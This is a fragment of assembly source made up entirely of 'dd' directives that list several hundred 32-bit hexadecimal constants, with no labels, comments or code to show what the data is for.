dd 48544094h, 5AEF007Fh, 0A8228EF4h, 6D48A534h, 0A6AE8010h
dd 5A7A06h, 5080FEEFh, 40538F86h, 0DE001890h, 3618298Dh
dd 386E64h, 90FF9C5h, 40C491E2h, 60ED622Ch, 0B606B71Dh
dd 3583B0Ch, 81460FFh, 100501CFh, 15F0E875h, 8B40C41Dh
dd 4C0D5667h, 0FEAA00EEh, 37075C51h, 2C48C8B9h, 8C7600D1h
dd 97B07D42h, 0B43B123Ch, 8E9400FDh, 53B7D696h, 0D1C5AB1Fh
dd 35F3E87h, 2CC79E27h, 684A0BE0h, 0EB610050h, 0A94B0E82h
dd 0EA3E7CD8h, 650A9893h, 2E39C4B1h, 0CE17E6h, 0F1095BC7h
dd 884C06B9h, 1A241C30h, 69D485C0h, 23C138Ch, 5F7A4B44h
dd 3468913Eh, 1904DD80h, 6F53A76Eh, 0CB2414C1h, 12B0AD0h
dd 62FC0483h, 0E4AAA5C7h, 5B00999Bh, 44CE751Eh, 95DE6Eh
dd 0EC9DB796h, 7A21B054h, 0A95BD005h, 35C1C556h, 7ECCAAE1h
dd 0FBD80333h, 0EECBA41Ah, 46C322E8h, 7CA7C200h, 90B1DB5Ah
dd 0D8B5037Fh, 0AB42F3B2h, 0F800AFCDh, 0B0BD6E4Bh, 0BA330079h
dd 0AA05C1BEh, 0C700A5CCh, 1E0A6817h, 0A18A9D4h, 0EEC25E7Ch
dd 0CDD1008Ch, 8C8E33E4h, 4828A801h, 160E6FD6h, 0C2E63861h
dd 0F27A63BAh, 0BAA76081h, 71E5005Eh, 83AD1E7Bh, 6000A03Ah
dd 2F5DFCBDh, 19FAE27h, 0EB24E6FFh, 0F0D95CFEh, 63000535h
dd 1551A895h, 0C0970FC9h, 0A714E5F4h, 9F74C683h, 0F0F23DEAh
dd 8491DF00h, 0D128960Fh, 2A57CE9h, 1B1E4E76h, 70C05D50h
dd 1F00FFBFh, 0EBC6B07Eh, 0D7610Fh, 0F17C25B2h, 30BE9E4Dh
dd 0B70C8D7Eh, 70E0AE8Ch, 31E70911h, 2421C4BCh, 0F9DD9BC3h
dd 8B3C20C8h, 0A610C006h, 7587222h, 887B45Dh, 1312706Ah
dd 647A2C37h, 30E2FB32h, 0BC4077ECh, 0B6018747h, 6C242F15h
dd 0DCECFDBDh, 18B2E0h, 83927752h, 39045C7Fh, 4BE95707h
dd 0AFE08028h, 75610C4h, 0AE2DF31Fh, 2E32B369h, 0C5CE6BF0h
dd 0D061CD0Fh, 4AF140E5h, 2D24BEAh, 452E2CE0h, 9580FC7Ch
dd 1AE7BB5Ah, 270D6005h, 83C02209h, 0FE14D20Ah, 0F04F17F1h
dd 0CA40025h, 0FE7DBDA5h, 78EF3107h, 83AF7314h, 0F8C0B19Eh
dd 0A85464Ah, 307D2680h, 50370098h, 60A6E111h, 8A0BE00h
dd 4F7F652Fh, 0BAC30969h, 0A0639BDAh, 0B5AF60CFh, 4000480Ah
dd 31C2CD79h, 0CC8339h, 7750F0ECh, 2B28AAB6h, 0AB7EF00h
dd 0C26C822Fh, 36430E42h, 0EA62898Fh, 0DEE38D44h, 8473C9F8h
dd 0BB97B200h, 9FA7BE38h, 0B0AD00FDh, 8681EA0Ch, 0E500B8E7h
dd 0C2C3CFE1h, 1ECA6A06h, 0C725F7A4h, 239596Eh, 80806315h
dd 0FE589146h, 96AFAB00h, 28898C22h, 851E2EB5h, 14A4ACh
dd 0EF180377h, 0D000F3B6h, 6B153FE0h, 0B60E5C3h, 8DAAA8A3h
dd 0EF67A700h, 7404D7B9h, 0E699F3A6h, 25F8ECA0h, 38004AE1h
dd 8E538425h, 1E05F897h, 4E1A6EF2h, 0C0E0DDFCh, 5AF86781h
dd 0AC98B8E2h, 4C3A563Ah, 0EA2A0944h, 0C37040FCh, 53F90018h
dd 5167FD3Eh, 82CB390h, 4878CF3h, 0EF50C505h, 57DEB10h
dd 1AAF7975h, 96A48064h, 8A00B206h, 0E681B65Bh, 77AA3C2Fh
dd 9B1C16C6h, 0BB6303BFh, 27C86D43h, 4FE4BA14h, 0EC0054EEh
dd 0F6AD23EDh, 11C1C3h, 888C1981h, 8F443183h, 0BCDF1C05h
dd 77840478h, 0DA3E8C80h, 72890612h, 0C896511Fh, 7C5D78C4h
dd 0CD665CC0h, 0DE161C2Ch, 73728092h, 0F8E04199h, 88EC7604h
dd 88E0B1E2h, 0AD6E2EC8h, 227803E1h, 0DA8D0E3h, 0D4031162h
dd 0C94E2BABh, 0A036B0E4h, 0E6760758h, 4C9B9EE3h, 90004989h
dd 0CB9189CEh, 38D94C1h, 328F61A6h, 2EB05992h, 0F00A44CDh
dd 0A422FCDBh, 0E2FFCA80h, 1F2A2FF6h, 0C040083Eh, 9A071DA0h
dd 0FA02CB62h, 0B8F593B0h, 0E3084028h, 410E03C8h, 796E9039h
dd 54D6CEE0h, 0A5334E00h, 0BA58D876h, 38DF0E9h, 57564D82h
dd 7A88F1E6h, 0E83DB078h, 1A29125Bh, 7DF6A400h, 817E0737h
dd 16A3F01Bh, 43BB505h, 840068D5h, 0E0E82895h, 7AE303CCh
dd 72C3A34Bh, 73AD8BC0h, 65504F12h, 5B0A8C00h, 715622D2h
dd 0D61904E8h, 806C30C2h, 992903A4h, 0F200BF46h, 0A820A369h
dd 0A100BC47h, 7848BBBh, 1D927A97h, 94317936h, 8A00E88Eh
dd 6EF011FAh, 9E003B52h, 9FBA0ECh, 28E4349h, 7391F301h
dd 0D850C6B4h, 81A7D900h, 2D75538Ah, 1AEA003Ch, 96357039h
dd 0BD005244h, 0ED0CE6E8h, 2B19478h, 0D3393D1Bh, 90702D06h
dd 18841525h, 547F04h, 27B7B958h, 0E3E07552h, 4142AF00h
dd 0B06F98B1h, 0FDF21823h, 1E892AB2h, 0C066600h, 0C8E8AF47h
dd 0C9E30FCBh, 9580462Ah, 84B00EE5h, 62A9B800h, 7D1C6AF5h
dd 24E44Ch, 7A6111FBh, 36CA4113h, 0F0346C24h, 0AA789B00h
dd 63C094DCh, 8316E9E7h, 81AE3488h, 5984AF00h, 0B195C256h
dd 7950C40Ah, 0FB98F0ABh, 0AE48EA00h, 66771402h, 5DB90598h
dd 0D0890DCBh, 4D3E1330h, 0E59458h, 0CC172EF1h, 0E26199Fh
dd 50D3BCACh, 27B44E40h, 4A7D98ADh, 93F4F12Eh, 0F3596403h
dd 0A8AFEB7Fh, 0BF7B1Ch, 9D7D70AEh, 0E42B765Dh, 80BA5C3Dh
dd 0B24A852Ch, 14CBA2E8h, 84503542h, 24BE8A3Ah, 80541701h
dd 809EFB4Ch, 1B8FB1B9h, 0BA4D4EDEh, 0B9275E0h, 0AB0A0FC0h
dd 8E001BDCh, 0EC32D76Ah, 0B3BF15E9h, 6100D460h, 3918FF22h
dd 1C0EA6B8h, 134C61Eh, 0A1A3ED1Ah, 0C83C46EDh, 0E783430Eh
dd 1CA03040h, 1701A2B0h, 28F2D522h, 19BECA33h, 115EE280h
dd 3B6643EAh, 9E803700h, 2118D4F4h, 2E2A3F42h, 13C3BF00h
dd 20AB1D1Bh, 159413Fh, 5B27B010h, 0ACC0E4C0h, 3CA15C9Ch
dd 8EAE0A00h, 0CD8946A6h, 6E3F4013h, 689EFC5Dh, 0C4356A80h
dd 0E00D32h, 5E607943h, 8EE2CFC7h, 0B501BAEAh, 0C93FB0A8h
dd 0C7033D9h, 61350D30h, 2011C80Bh, 0F300BE83h, 387604A8h
dd 98782D8h, 0DDF4E50h, 0E7EC30E0h, 3B8D583Dh, 5A4C805Eh
dd 784F9575h, 2AEF3B7Fh, 83A61B00h, 0AEE59496h, 18FAE300h
dd 0A474AB0Eh, 64E900C7h, 6ED21445h, 8200F031h, 44849D0Ch
dd 609F61h, 0F37A385Ch, 8745B335h, 0B1FBC139h, 685B10DEh
dd 5F0930h, 60B6F869h, 172B1BF2h, 197CD660h, 0FA386D1Eh
dd 0C97D1F25h, 0A0C8EC99h, 0EBE0D8h, 6CB2FE1Ah, 8DD93F5Ah
dd 24B40F5Ch, 0B3005C6Ah, 58D5D3B1h, 4B68C1AEh, 20E85D8Bh
dd 5F18F878h, 7182EA5Eh, 0B1EC08h, 3CF92E56h, 4DDC0C2h
dd 0B44AF328h, 1EDA900h, 59303254h, 0CCC91E1Ah, 3C740DAh
dd 61C18A4Eh, 82EF39h, 9BBBE411h, 34FF8C2h, 9C086DD4h
dd 2000678Bh, 0D09F4C81h, 0DFEC0Ch, 13054B4h, 85394827h
dd 166E8307h, 0F0A0038Bh, 189FCF96h, 4EC13F3Ch, 0D8A12B81h
dd 32E02033h, 0E7D6C4C0h, 0FEE96h, 22A859A6h, 1F648F1Ah
dd 7F392E00h, 0BFD40A4Ch
dd 97E68Dh, 558CCC7Eh, 334B0F3Dh, 0EDDEAA03h, 8844C538h
dd 0FCBC724h, 98412BB3h, 208EA60h, 0BE01F7BDh, 13FB95A5h
dd 0F48083DCh, 0F515D76Bh, 95E39DDh, 0E4EB17C2h, 9ED10A94h
dd 9F19A3h, 3EB24B60h, 860B431Bh, 2082D987h, 9FDF80DCh
dd 3B7271Ch, 0FAD49080h, 0E0E9FBBAh, 0BF0BD544h, 4730454Fh
dd 0EFA300D0h, 0D9175DFBh, 0F6700300h, 3384B982h, 76B03048h
dd 0F5F4B610h, 3C8A5B00h, 0EB28533Ah, 0B9513887h, 24A1B181h
dd 682912C6h, 945C1CD8h, 0AE00F917h, 16EC662Bh, 44F04CCDh
dd 2200A520h, 0ED6C32A2h, 1F82451h, 82F9E3BFh, 0F06A588Eh
dd 10C0E089h, 0D21DDCB3h, 0F80C0F37h, 82771B4Ah, 38DAD134h
dd 80E38C3Fh, 0C519AA95h, 3CB2A233h, 9458E190h, 0C76EAF00h
dd 0CAC31F9Dh, 0BE69B10Fh, 25020017h, 1C9362A0h, 0C06FDE7Bh
dd 166A6051h, 0F9988374h, 3005860Bh, 1540EB1h, 243878B4h
dd 7BEFC4h, 0F473D31Eh, 37D7C0BAh, 7900A171h, 2C3CFE1Dh
dd 5D20C75h, 0ED431FC6h, 0D120C0A9h, 2009F92h, 65B7E33Dh
dd 1C0CC73h, 0D57D755Bh, 609412F3h, 0FB012690h, 37BBD07Fh
dd 0C2D824ACh, 85F3186Eh, 741C20B2h, 97EF74C6h, 0E9F60010h
dd 46A966Ch, 7C1DB334h, 8D00FF14h, 0F9E1A71Fh, 0D5110E7Eh
dd 43408A82h, 3E4DC73Fh, 0D2D46D00h, 57F67F62h, 0A100061h
dd 0A58DFEE4h, 710015C1h, 7A21B7CBh, 592F73h, 68691E45h
dd 0E23D13ABh, 6D97500h, 1503C9D0h, 92DE006Dh, 5D4255F3h
dd 721D1938h, 7AC06734h, 0ECDAE57Fh, 0FD0B3F92h, 51C4B2FCh
dd 9FCC9CF3h, 0E1675EDh, 6722AD56h, 0DB6368C2h, 0EF5FA540h
dd 8FBFEC01h, 0D278A1CAh, 404FBC22h, 6AF31044h, 0F818AD38h
dd 873648BDh, 30720004h, 0F6F50B41h, 0B13BC968h, 5FC30059h
dd 70B9FF66h, 0AA4401EDh, 327A65Eh, 50CEF8E1h, 23022C7Ch
dd 0B1EC9CA1h, 0FD4C49EAh, 400BD09Eh, 62160EFBh, 35789623h
dd 38172Fh, 8F74DE3Ch, 0BE4B4447h, 0A0579444h, 242F9ABh
dd 964049CFh, 0A870D8C1h, 0DBCC6400h, 65841BDEh, 7773388Fh
dd 0F932A0Eh, 0A75D2CC1h, 5F4206Ch, 0AF30E605h, 3A80DCC4h
dd 285A48Dh, 17523D3Fh, 8DFE20C5h, 65FBB030h, 40913A70h
dd 0FA1C8800h, 0E94B84A3h, 282CD900h, 0EB0D3914h, 1233AA9h
dd 0B6C62F80h, 5F1510C4h, 0AD6F30Bh, 264C8DE6h, 0E2E1B842h
dd 5CA002EEh, 0BF68E9F9h, 0E621D4h, 1A983978h, 0A3FE66EAh
dd 0CB1F697Ah, 8BC0F523h, 4A96B4D1h, 0F3B70790h, 907F4D0Ch
dd 43F751FFh, 0EDB2400h, 2A543071h, 1DF20E26h, 1220E5EBh
dd 91DF1803h, 9827F129h, 584D5001h, 0C0DAC67Dh, 8461892Ch
dd 251A9901h, 4F3F4193h, 3EB07ED8h, 9C007B49h, 0C7DFB6E5h
dd 3D015A39h, 0B734D477h, 0B9ECF0E0h, 0B8537DADh, 620C00DBh
dd 7098FA9h, 8D00D716h, 0CE7468FCh, 0E9A39E5h, 0BD9C61C4h
dd 6F3CA5A0h, 0FAE48B13h, 0E6C20600h, 8F367031h, 37490063h
dd 2524B204h, 0F33F6511h, 55A50EDCh, 0A798C01Dh, 97ABA8h
dd 0F9D446ADh, 0EEA66653h, 0CC28C20Ch, 6D750E1h, 25CA7C27h
dd 290210FBh, 1CAC9B66h, 3CB8E8A1h, 0DEC90744h, 839E13F9h
dd 6793840Bh, 0CF59FBF0h, 0BB1C8713h, 76661400h, 331B1Dh
dd 512E345Ah, 0A208709Eh, 0C06FD60Bh, 4E33827Bh, 0F3E6E053h
dd 8DF8176Bh, 8045007Dh, 0B11C72C2h, 0DE85C100h, 1AC5CBB6h
dd 0A93516FCh, 8C7B093Eh, 0F6130400h, 0C401259Ah, 7F658B29h
dd 7D7048DFh, 39973DBh, 15309EEFh, 0FEB03A1Bh, 1CE2CC0Bh
dd 0D0E05F30h, 4C0AEC11h, 0F0304F1Dh, 3A0FFC10h, 208C3000h
dd 6BAD94A8h, 749EB09Bh, 1EDB0070h, 95745544h, 0EE00B454h
dd 0DE92CAE5h, 1302F366h, 1ED15630h, 590F0038h, 790AED6Eh
dd 3048195h, 35CD54EBh, 11BAF900h, 4A6F9F00h, 712F1575h
dd 80FD6FE0h, 6B763F81h, 0D086895h, 39E4DC49h, 0AA300EEFh
dd 1E97726Fh, 32498A3Eh, 0B9790610h, 17093994h, 801104F4h
dd 0EC6C8247h, 0D74C5CFCh, 9480A73Dh, 75CB9D97h, 430056CEh
dd 0F7F0DD9Bh, 39EFB8h, 9149A746h, 0EA7A3811h, 79E18100h
dd 861AABEEh, 0F59800C9h, 0A107C19Eh, 0D407B538h, 0D9A8EE2h
dd 0F28018F3h, 0E5F240C5h, 0D6A40093h, 0B11B6E14h, 0A900E0DEh
dd 45E33FF7h, 0E89504AEh, 992100CCh, 93365955h, 0F900861Bh
dd 7EC56AEDh, 88E298h, 0FF64F194h, 1D42C167h, 0CA77A27Dh
dd 18FC3900h, 97DD5DC9h, 0A43200C7h, 0BEF046CDh, 0E462B115h
dd 80729618h, 429B1E90h, 0C269034Dh, 3D115BFh, 0C8982044h
dd 0C4009C77h, 76F041F3h, 0C25B478Ah, 8F68420h, 57604C5Ch
dd 2161126Ah, 0C39158C7h, 6A1DB20Bh, 0B8065E5Eh, 39E1B0h
dd 0E9875D3Dh, 0F2C3C942h, 815E793Ah, 805472BBh, 76E029E3h
dd 52A1E42Ah, 0C2F23CDEh, 49062430h, 9D00085Fh, 0FEE849FDh
dd 0A00E192h, 95484FECh, 0F75636Fh, 0E274AD13h, 0EF5C0032h
dd 71419642h, 0BE6FF000h, 2A296283h, 0D1980037h, 0FB640CDDh
dd 8B3E0E6Dh, 429900BDh, 53CB446Ch, 0DED800EFh, 0B0CE2939h
dd 540E5EB4h, 408EECD9h, 65300666h, 0B9F200D1h, 0AE6FEE7Eh
dd 0BB006CA8h, 0DCFF1BB2h, 1C7A04E2h, 40D0A76Dh, 2D973C23h
dd 0BE3DD8FAh, 9B45817Dh, 9EDD02DAh, 3FE4BC4h, 56D48C47h
dd 1146CE7Fh, 910EFE04h, 90686AE8h, 0FF23415Dh, 0A210808Bh
dd 1F0F7E40h, 415402A8h, 8A28B615h, 22C9CC40h, 0EB0B6801h
dd 7C6285FDh, 43982988h, 1C846D90h, 91C14E08h, 8429C11h
dd 10A5AB99h, 0EA018450h, 0B40D215Ch, 9CD5167h, 87BCE00h
dd 34C7C31Dh, 0F54EB782h, 0B86A4065h, 0D022ECAh, 0AFF701ACh
dd 0D8EBEDA4h, 75011F93h, 352A4DD2h, 0D0C40E90h, 0A9CE00D1h
dd 45856883h, 0A400BB60h, 0FD347BD8h, 0C87F05h, 4265D9Fh
dd 2C4E1F14h, 0B32B5F0Fh, 6F8080BFh, 0EA76B5h, 0D733DAFEh
dd 25358BA4h, 0EBC01B13h, 58AEB103h, 156CD8BCh, 0F265006Eh
dd 0D27BAB82h, 3F03FDA2h, 0A9ED3449h, 957198F8h, 0A5911C92h
dd 8823C397h, 101DEF6Dh, 6F80FA62h, 0B8E80796h, 0A6CB00EAh
dd 0DCF71B68h, 67EF8E3h, 0BE47E54h, 0CC7DED1Eh, 74E19C0h
dd 863197h, 0C323A1A5h, 949016B6h, 0F058E4E5h, 4D00DDFAh
dd 2C9DB7A8h, 2EDCEF7h, 0EE726BC3h, 0C436DD5h, 2900F0DEh
dd 9D5E686Ch, 3E3D2522h, 0CB8F04B0h, 0F5E06D9Ah, 0A7B21AD0h
dd 994BE700h, 2E0CD530h, 78F23B59h, 3E098050h, 589FAA1Eh
dd 1BC3006Bh, 60742A63h, 863AEC00h, 8A22F7Ch, 93C51FAAh
dd 258800EBh, 7753B065h, 948F3Fh, 506A2A71h, 7DA4C85h
dd 0EE359F69h, 72F18082h, 943A4623h, 1AB20731h, 9240F397h
dd 0B7103Fh, 64152CDh, 0EBAAF9EFh, 18D3A60Eh, 73F2838Dh
dd 3C20F7C3h, 0E0B4676h, 6F7D09E5h, 3D43D80h, 5D00A0BFh
dd 6CB58EF8h, 9B223Ch, 1F6AEBEFh, 0DEED21FCh, 68E59000h
dd 43B01198h, 70A5005Bh, 339715E9h, 3639C0A9h, 51DE8061h
dd 919D6625h, 5F2D00E2h, 0E1E4B0D4h, 0AE001C11h, 585310FFh
dd 0CE49CAh, 7E6FEA2Ah, 0D77F4C14h, 0C003FE00h, 5DFDC32Fh
dd 93630044h, 286DC1BFh, 60002EEBh, 77D247DFh, 0AA6E4Dh
dd 0D875C57Bh, 274F8B79h, 16EA2202h, 0E0195D0Dh, 0D77039h
dd 0C2A52DDBh, 3FD4A060h, 71091890h, 20CFDD28h, 4480DB14h
dd 89B35076h, 196367A6h, 0B2625F28h, 2040AFDCh, 289A5C89h
dd 54877F00h, 25022AC0h
dd 9FBC3E46h, 0AC72027Ah, 79FC9596h, 589DCC80h, 0F10628F2h
dd 99C64CEEh, 67330E10h, 43E0E560h, 9C8ACE5Dh, 0F51FF800h
dd 8F832FD6h, 4063003Ah, 0A81706DAh, 60EC6A71h, 32DD6500h
dd 0A56C80EEh, 0BD2700ACh, 0C1C25AFAh, 413E0EB2h, 53A61795h
dd 431E7100h, 0C73CF4h, 4CD5B436h, 0E7B51324h, 6CC31C0Ah
dd 0EF00F0C9h, 0AEBCD693h, 789501E0h, 0D3A32668h, 0F45C202Bh
dd 22BAA500h, 93DD0B6h, 1AD0016h, 466DD6CDh, 2F009D95h
dd 0F054A087h, 14810CD4h, 0F050C7CEh, 3AFEB90Fh, 1CE82C00h
dd 551C89A8h, 0D7812788h, 9FA7FBFDh, 261980E3h, 0C9DE0070h
dd 0AE47AB9Bh, 7C0E6AE4h, 4018D559h, 8D1D97D6h, 1C27BB5h
dd 875A1352h, 0E0565398h, 0F70085DAh, 0B8315034h, 0C02319CCh
dd 0B34A2819h, 54609927h, 0AC5EA10h, 0C46913B1h, 6EA3030Dh
dd 0EFE5C9C1h, 57C2B7C1h, 7632880h, 214B4A8Dh, 2B1B2F00h
dd 3BDF32AEh, 45D50023h, 2C364E54h, 5700A77Ch, 10A81EABh
dd 0AFED05h, 48933FB2h, 0E017CE73h, 6B713500h, 255DF8Ah
dd 54F20Ah, 47D20EA4h, 0AE443034h, 58753100h, 9B20D4EDh
dd 0D3F8F3EEh, 76BA0E56h, 8E202235h, 0FE0BFBA1h, 0F66D106h
dd 218CA7h, 0DD4394E3h, 0BED76C15h, 0D9411300h, 264ECEABh
dd 587F4893h, 0BD060400h, 40C7C5F1h, 89B80500h, 49474B03h
dd 38B100C0h, 27A6BE0Dh, 0B409C115h, 8266B521h, 44257907h
dd 0C680F08h, 2761FC90h, 0C0153E4Bh, 33ED8A44h, 2CE100C8h
dd 24D930C9h, 3AF538D1h, 89FDD380h, 0ACF6A58Eh, 2D03D501h
dd 0B73887FCh, 0EC0843F8h, 5E3E0E8Ah, 0B3E0C0A3h, 3804F076h
dd 0F6B27700h, 9FDFF51Bh, 133C00BFh, 0AD7B43B4h, 7F7A8CAEh
dd 0ED586270h, 18D7030Ch, 806F04FCh, 7FFC1h, 41B981E9h
dd 9B7E3E80h, 300E498h, 0E32A5723h, 0FC78BCh, 0C03989A2h
dd 7CC5FA46h, 861E041Eh, 0B91DFF40h, 3BB5EA2Fh, 420144ABh
dd 844F799Ah, 0FE19C472h, 0C15C410Fh, 66D000B5h, 0CBF41Dh
dd 0D6EABABCh, 90F7A5FBh, 89C3AA1Ch, 7C186080h, 0F68DA702h
dd 158B1BFDh, 13B821C4h, 9990BE14h, 0BB4A6100h, 0D025464Bh
dd 12CB0719h, 0D07FF815h, 96BEAE53h, 4620820Bh, 0A6CE0780h
dd 0F4D6D4E0h, 99F601A9h, 0C4891BFCh, 0C25D7065h, 1DDB4F00h
dd 24A0226Bh, 8ED5078Ch, 0C1C4929Fh, 80D6BCACh, 3E791910h
dd 14020FDh, 0B936B780h, 20EAAFF8h, 0ED60E359h, 3CB2468h
dd 3F323075h, 13D24049h, 665AA200h, 4A09648h, 461700BDh
dd 0F44ED31Fh, 3D1EBAAFh, 490F1C45h, 80F0EBF1h, 3AB87F82h
dd 92690EB9h, 0C8000F8Dh, 8F7157B3h, 554E7907h, 99D0FDACh
dd 91269Ch, 0A576D1C6h, 7EB14BDh, 0B30E4300h, 0B12D8C29h
dd 0CEF0D6h, 0D91B92A3h, 244EF4EAh, 0AAFEEF07h, 0F8F00C2Dh
dd 0CC63E64h, 3BADEBEEh, 500CB4Eh, 0EFBA4E1Ch, 3893CADFh
dd 730A0160h, 380A80Bh, 43E5EB87h, 29CE2488h, 10666700h
dd 0FE81C4EFh, 0DC8600B5h, 14EB41A3h, 4300745Bh, 7E369983h
dd 60EEDB26h, 0FAB430C0h, 3C05045Fh, 0CE7AA55Dh, 0DB54C4C3h
dd 44F8A8B2h, 1C90A7h, 0FF5179C1h, 0B913423Ah, 0AEC0C81Ch
dd 0A0D6A6FAh, 0B54BA901h, 9AFC5D1Dh, 72652C58h, 0CDA30232h
dd 0B060C3A5h, 8B0017ABh, 4A63964Dh, 0F2FD4414h, 593120Dh
dd 911802B5h, 0D2E0168Ch, 0B6005253h, 0F99209EEh, 76D1D333h
dd 16E70137h, 0CDA8DE7Ah, 0EEDD854h, 0AA0B9900h, 6640D54Dh
dd 930C0091h, 1CB8E231h, 0E389E23h, 80F3BCD4h, 15CD0673h
dd 56B1BEh, 4238894Bh, 67D3BB76h, 75CA1A00h, 373E2B7Ah
dd 44C10185h, 956CBCD8h, 6124CDFAh, 4264406Ch, 0AB24529Fh
dd 0E0005D5Dh, 82E5285Eh, 0D33B00D7h, 0CE123A50h, 0C700FDE3h
dd 0A0087641h, 0E4782F7h, 7796616Ah, 66BFD721h, 0EF942445h
dd 6900B5E2h, 0FD4FDFF0h, 0E04CFFh, 5710F926h, 1A80F7BFh
dd 4BAFFA07h, 0C8E1B71Fh, 1080F68Ah, 0F9D70A82h, 0FA006BB4h
dd 38079376h, 656FD27h, 0C04619C6h, 94426947h, 0F98C6E07h
dd 0D1C8125Ah, 0B8A09BC2h, 172F2774h, 0F61C751Ch, 0DC117D41h
dd 32C1DE1Bh, 32E40C0h, 0BE881EF7h, 86B860CBh, 0A4000790h
dd 0EC8AF226h, 4C0D127Fh, 0C100DCBAh, 6C9692F6h, 351D71E8h
dd 0DE80750Bh, 0AC9B4F82h, 0CEEA03A8h, 80EB0174h, 0D54CF7C0h
dd 0DA8BEF00h, 1E971BFEh, 0AADF0077h, 0CEC179E9h, 0F9006F7Ch
dd 6D3682F6h, 1C86234Ch, 0C0615C3Ch, 0C98AC676h, 0D61E20EEh
dd 7D5DA4CEh, 67528Eh, 32F5DB5Ah, 0F17C0E3Ah, 44E02C15h
dd 213B992Dh, 29F0C3Ah, 67C85D5Ah, 0DAD8A058h, 0A97FABh
dd 4984C6Fh, 0EA87EB1Ch, 6B01FFE4h, 97D424BFh, 74D08DE5h
dd 0E76100BDh, 0D79AF195h, 2007F76h, 31D94F3Fh, 0D3E110h
dd 1AED9D54h, 673213C6h, 0B4B26B00h, 695FBC40h, 0E95500D9h
dd 9CFAD446h, 0FE00F98Eh, 85244F39h, 0F179D45h, 7819F384h
dd 0B700E4EEh, 0C65EBA1Dh, 2DBF5403h, 0B0229897h, 26E9CF2h
dd 881FC209h, 0A3623ED5h, 59175281h, 0D40ECD1h, 0CBDD7103h
dd 0A1833D63h, 99F81164h, 8735002Eh, 8516216Ah, 5400070Bh
dd 0D9933C2Ch, 0CFD858h, 0F15A0A5Dh, 0CB95C6AAh, 0CA4C7171h
dd 7D2300ECh, 48FAF38Bh, 35A30060h, 9331FCF4h, 0D3399FCAh
dd 67781FB3h, 0E4F204C1h, 21E0E81Dh, 7E9112DCh, 53F0E66h
dd 336DEE20h, 54580E87h, 0E6D500FDh, 5C06F74Bh, 0D148039Ch
dd 8D3A81ECh, 0DE60F0BAh, 0CF07ACC5h, 0B6B7A95Eh, 106F6D80h
dd 3AD43E29h, 31601B80h, 0E49F0DA4h, 0FA996100h, 35E66C84h
dd 0F268007Eh, 0B019732h, 0CA002FF9h, 796AE7D1h, 0C3BDE5h
dd 704DE693h, 0FC77ED35h, 0B9548500h, 0E1884EF1h, 9A863F18h
dd 6BBF1Eh, 0AF761193h, 0C9005FA0h, 0AE4A4BC0h, 498495h
dd 7ECCD196h, 0FBFEAC3Dh, 0AAC9D401h, 702919B1h, 0CD3B037Eh
dd 0A388AE4Eh, 0BB39FF7Dh, 0A2DC8031h, 38912F86h, 48C598B0h
dd 0A6009C42h, 79C201Bh, 223FDDBAh, 70C780A1h, 4BA87BF6h
dd 3BE700FBh, 0BECD171Ch, 0E609FF52h, 0DC0265h, 37FEA6ECh
dd 8AA80E04h, 0BDE0603Bh, 0A05FF392h, 0B8BBB600h, 228BA7AEh
dd 0BC1F0616h, 79CF2B0Eh, 2FB2C1Dh, 94DC3900h, 244EFA18h
dd 3C30CC5Eh, 0D79C2538h, 0CBD9801Ah, 90883215h, 5A9A4900h
dd 7AD2FBA9h, 0F3C30070h, 0CF436047h, 0C8008381h, 0FA6A4D98h
dd 3D3E57ABh, 0F2004ED6h, 0A23466D8h, 0EA26DFA9h, 5401D804h
dd 79959074h, 794488Ch, 27581F34h, 0AE650044h, 0ACE8CAD4h
dd 406E58F2h, 19B9E40Fh, 47BAB4E0h, 5E008DE2h, 15BFC771h
dd 396F42h, 0A2AF14CAh, 1B4887F0h, 0CDF8CCF2h, 621CDD00h
dd 3EB3A6B7h, 0A44C2C36h, 24C700C0h, 65843C29h, 0C1EA1B01h
dd 1B64FA6h, 1D753FD4h, 0C0E31DC6h, 3490D32Ch, 0DA58DC84h
dd 0FDAF86BCh, 3A7B0030h, 9FFC439Eh, 0C0B076E5h, 0BA94E40Eh
dd 92AB40B2h, 0BE6F9F0h, 0A010EA64h, 9F8F5820h, 5BFABCEDh
dd 0F3CB9900h, 0A5ACEB5Ah, 30C13AF5h, 164022Eh, 0AB791C4Ch
dd 311BF71h, 0F71D8DF3h, 0BF05C596h, 0C80E9CBh, 0FCD0DB74h
dd 1D063DFFh, 73EDB981h, 709A7F3Eh, 5C0052DCh, 0BFC9BBC4h
dd 1A4C5ADh, 811C6907h, 477D0228h, 9BE00FC4h, 4AFE4DBBh
dd 8889300h, 74DB8944h, 0B869629Ah, 0C880735Dh, 0A1AA864Fh
dd 0F2859002h, 259F6BDh, 3DE3C488h, 2D3732A0h, 83281407h
dd 0D8108EE4h, 0E379F4h
dd 30117623h, 0D68B9FFBh, 3C7C010Eh, 80C26AAAh, 0BC03A507h
dd 0B4842601h, 102FE181h, 0F8FE8C1Dh, 8339C141h, 68FD0E44h
dd 807DFE84h, 308B1E4Bh, 3CD6D95Ah, 163CCCCAh, 965D0C9Ch
dd 4C580044h, 18DCC53Fh, 0F9943226h, 5200C71Dh, 0A7FDFB56h
dd 3DB500D2h, 1FA011E7h, 0A0EDA8Dh, 87FC84F0h, 0DCE0993Eh
dd 0C6F3C73h, 0E519C906h, 0D12597BEh, 39000CBh, 48A747h
dd 0F5AEC371h, 988E361Eh, 895E8F1Fh, 801F154Eh, 17A9962Fh
dd 4CE4AAh, 5E5444BDh, 4BB28451h, 0A8D4770Eh, 8C009373h
dd 0F01E3E25h, 0DCCE1F9Fh, 0C1C8C07Fh, 1B76356h, 802CA439h
dd 0F081D4ACh, 3FF74664h, 8900077Fh, 0E61E1F41h, 4F00C0D5h
dd 0BAAF54FAh, 7AE440h, 519D8A90h, 438F58B8h, 0C92ECA00h
dd 6A3FE9C5h, 1BA80050h, 447AE8A7h, 4FC7984h, 39BB3800h
dd 1AE1703Eh, 0E9540036h, 51D9CCD4h, 90009DDBh, 0A594064h
dd 28D9810h, 1815A476h, 0F1C06A1Ch, 24008483h, 0B154D506h
dd 1C7AB466h, 0C188018Ch, 5DE6AF4Ah, 0FCF1CC70h, 5082A507h
dd 0C710D28Dh, 1F556B6h, 0FB274735h, 0C00D3EF2h, 1E004014h
dd 15F80C08h, 0EF59E612h, 60170BDh, 4B629ECh, 0E9ABD8ADh
dd 0F23DC017h, 19800FEh, 876C8EA0h, 7AE67300h, 7B35880Ch
dd 30AC981Dh, 7218FCFDh, 91DD68C5h, 0A8DDF7C7h, 9A47EF27h
dd 6E730561h, 0DF41040h, 7C39C0FEh, 7AC28854h, 4B3508C0h
